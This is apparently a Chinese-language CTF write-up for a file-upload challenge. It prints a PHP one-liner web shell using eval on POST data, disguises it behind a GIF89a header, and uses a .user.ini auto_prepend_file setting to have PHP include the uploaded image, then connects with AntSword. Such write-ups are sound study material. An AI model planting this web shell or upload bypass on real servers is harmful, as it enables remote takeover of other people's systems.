信息收集
打开题目,发现文件上传位置,猜测考点为文件上传。
尝试上传一句话木马1.php。
不允许的后缀,经过测试其他绕过后缀也无法上传。
图片头检测,在一句话前加上GIF89a。
PHP标签检测,使用<script language="php">@eval($_POST[cmd]);</script>
作为一句话木马。
成功上传,但是由于后缀为png无法调用PHP引擎进行解析。
考虑使用.user.ini
进行绕过。
.user.ini
.user.ini
这个文件在PHP 5.3.0被加入到PHP中,他的作用类似Apache中的.htaccsee
文件,其中两个有趣的设置:auto_prepend_file和auto_append_file
我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);
这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()
时该设置无效)
Payload
上传.user.ini
,内容为
GIF98a
auto_prepend_file=1.png
使用蚁剑访问http://xxx/uploads/c55e0cb61f7eb238df09ae30a206e5ee/index.php
成功链接。